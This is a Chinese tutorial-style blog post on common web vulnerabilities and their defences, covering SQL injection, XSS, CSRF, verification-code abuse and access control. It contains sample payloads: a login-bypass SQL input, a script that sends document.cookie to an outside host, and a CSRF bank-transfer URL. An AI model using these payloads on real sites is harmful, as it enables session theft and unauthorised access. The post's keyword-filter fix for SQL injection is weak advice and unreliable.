1、sql注入

  SQL注入在黑客领域是一种非常常见的攻击手段,大家应该都听说过很多数据泄漏的案例,其中大部分都是采用SQL注入来获取数据的。

  SQL注入一般是前端向后台提交数据的时候,在数据中加入SQL语句,改变后台本来要执行的SQL语句!例如:

  原SQL语句为:select * from users where username='name' and password=md5('pwd')

  通过SQL注入,将用户名设置为:'name' or 1=1#  SQL语句就变成了

  select * from users where username='name' or 1=1#' and password=md5('pwd')

  对于SQL解析器来说,一般认为#后面的内容是被注释调的,所以实际上执行的 select * from users where username='name' or 1=1

  这样,用户无需输入密码,便可达到拥有密码的效果。

  SQL注入的解决方案一般是增加SQL过滤器,检测前端传过来的内容是否含有非法字符,常见的非法字符:

  

'| and |exec|execute|insert|select|delete|update|count|drop|*|chr|mid|master|truncate|char|declare|sitename|net user|xp_cmdshell|;|,|like'|exec|execute|insert|create|drop|table|from|grant|use |group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|*|chr|mid|master|truncate|char|declare| or |--| + |,| like

2、校验逻辑放到前端

  以本人以前维护的一个网站为例,当初开发者对图片验证码校验的逻辑都放在了前端,

  校验过程是这样的,当用户点击登录之后,去后台请求验证码,然后跟用户输入的验证码比较,如果一致就通过,想想这个逻辑也只能呵呵了。

  总结一下经验就是,所以的校验逻辑,尽可能的放到后台验证,前端的任何校验都是有可能被绕过的。

3、攻击短信验证码接口

  目前大部分网站在注册时,都需要验证手机号,或者登录方式提供了使用手机号+短信验证码登录,于是便有人可以模拟用户注册,频繁的攻击短信发送接口。解决方案有两种:对同一手机号,统一IP地址进程请求次数限制。当然,攻击者可以频繁的换手机号,也可以使用‘肉机’等方式频繁的换IP地址。这时候,限制IP和手机号的方式似乎就不能奏效了。

  另一种方式是在请求发送验证码之前,需要用户先输入图片验证码,当图片验证码校验成功后(切记,要在后台校验),再发送短信验证码,这样攻击者可能就需要一定的攻击成本了。

  如果已上方式都不能奏效,好了,从业务角度入手,将手机号的验证放在登录之后吧。

4、XSS跨站脚本注入

  XSS跨域请求类似于SQL注入,也是向代码中注入非法代码,不同之处在于这里注入的一般是js代码,攻击的是客户端;

  例如在一个可以发文章的网站,发布了一片文章,文章里故意插入一些可执行的JS脚本(如:<script>window.open(“http://letsgogo.top”+document.cookie)</script>),这样,如果客户端处理不当,就有可能遭受攻击。

  解决办法是跟防止SQL注入类似,对于用户提交的数据进行检测,如果部分特殊字符必须保留,也应该进行转义。

5、大量请求压力

  一般情况是向服务器发送大量的非法请求或正常请求,对服务器造成一定的压力甚至瘫痪,导致正常的业务不能及时处理。

  一般上线的WEB服务都应该对承受的能力有一个预估,然后在硬件或者软件层做并发控制。防止出现此此种情况。

6、验证码爆破

  一般是通过爆破的方式,碰撞用户收到的真实手机验证码,目前验证码一般是4位~5位 一般的爆破工具,几分钟就可以试完。

  解决方案比较简单,对于同一手机号,尝试次数大于几次之后,验证码自动失效。

7、CSRF漏洞

  中文名称是跨站请求伪造,举一个例子,

受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。

黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。

这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

8、权限控制漏洞

  一般网站需要有一个完善的权限管理体系,理论上应该对所有的URL路径都进行权限控制,千万不要以为页面没有入口,就不能访问了。

  在此,更加建议采用RESTFUL风格设计URL路径,这样更加的便于做权限控制、监控、统计等工作。  

WEB开发中常见漏洞的更多相关文章

  1. web开发中常见的安全漏洞及避免方法

    1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信 ...

  2. WEB开发中常见的漏洞

    一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了对输入字符串中夹带的 ...

  3. PHP开发中常见的漏洞及防范

    PHP开发中常见的漏洞及防范 对于PHP的漏洞,目前常见的漏洞有五种.分别是Session文件漏洞.SQL注入漏洞.脚本命令执行漏洞.全局变量漏洞和文件漏洞.这里分别对这些漏洞进行简要的介绍和防范. ...

  4. WEB开发中一些常见的攻击方式及简单的防御方法

    WEB开发中一些常见的攻击方式及简单的防御方法 转载:http://blog.csdn.net/seven__________7/article/details/70896913

  5. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  6. Web开发中的18个关键性错误

    前几年,我有机会能参与一些有趣的项目,并且独立完成开发.升级.重构以及新功能的开发等工作. 本文总结了一些PHP程序员在Web开发中经常 忽略的关键错误,尤其是在处理中大型的项目上问题更为突出.典型的 ...

  7. web开发中的安全问题

    web开发中很多东西由前段来负责判断,比如常见的邮箱 电话号码,前端判断到不是一个正确的格式,在你点击提交时候提示你格式填错了,然后不请求后端php,直到你填写正确的格式为止.这种其实可以修改js或者 ...

  8. 【初码干货】使用阿里云对Web开发中的资源文件进行CDN加速的深入研究和实践

    提示:阅读本文需提前了解的相关知识 1.阿里云(https://www.aliyun.com) 2.阿里云CDN(https://www.aliyun.com/product/cdn) 3.阿里云OS ...

  9. WEB开发中的字符集和编码

    html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi ...

随机推荐

  1. ABAP小白的成长日记--------helloblog

    在外企公司培训了3个月,系统的学习了ABAP,希望开通Blog以后和大家一起深入学习交流.印度人的办事效率是出奇的低,赶超国企公务员.虽然内容cover到了几乎所有R/4的内容,但是还有很多知识没有真 ...

  2. centos7.0 安装docker

    yum  -y install docker docker中常用的命令 docker run -it --name  新名字 centos /bin/bash docker images 查看所有镜像 ...

  3. 【BZOJ1280】Emmy卖猪pigs 最大流

    [BZOJ1280]Emmy卖猪pigs Description Emmy在一个养猪场工作.这个养猪场有M个锁着的猪圈,但Emmy并没有钥匙.顾客会到养猪场来买猪,一个接着一个.每一位顾客都会有一些猪 ...

  4. httpclient设置proxy与proxyselector

    If single proxy for all targets is enough for you: HttpComponentsClientHttpRequestFactory clientHttp ...

  5. 迷宫问题(java实现)

    1. public class Direction { private int x; private int y; public Direction(int x, int y) { this.x = ...

  6. 修改本机域名localhost为任意你想要的名称

    web项目研发中,测试的时候项目路径与发布以后的路径不一致,项目组之间的路径不一致,这样会加大工作量,这个时候我们可以统一一下开发的路径,这样可以省很多事,话不多说,看下面教程: 在系统盘中的如下路径 ...

  7. http请求设置setConnectTimeout()方法超时无响应

    相信非常多小伙伴在写 HttpURLConnection中都设置了setConnectTimeout()方法.目的就是在网络不好的情况下超时返回 然而我们设置的setConnectTimeout()并 ...

  8. 理解java注解

    @是java注解,即annotation. 注解功能可以理解为插件,是代码级别的插件,在类的方法上写:@XXX,就是在代码上插入了一个插件. Java注解是附加在代码中的一些元信息,用于一些工具在编译 ...

  9. 指定Python线程数目

    可以通过threading.semaphore()来指定并行运行的Python线程的数目. #!/usr/bin/python2.7 #File: threadsNum.py #Author: lxw ...

  10. SourceTree的基本使用---基本介绍/本地开发

    转载自https://www.cnblogs.com/tian-xie/p/6264104.html 1. SourceTree是什么 拥有可视化界面的项目版本控制软件,适用于git项目管理 wind ...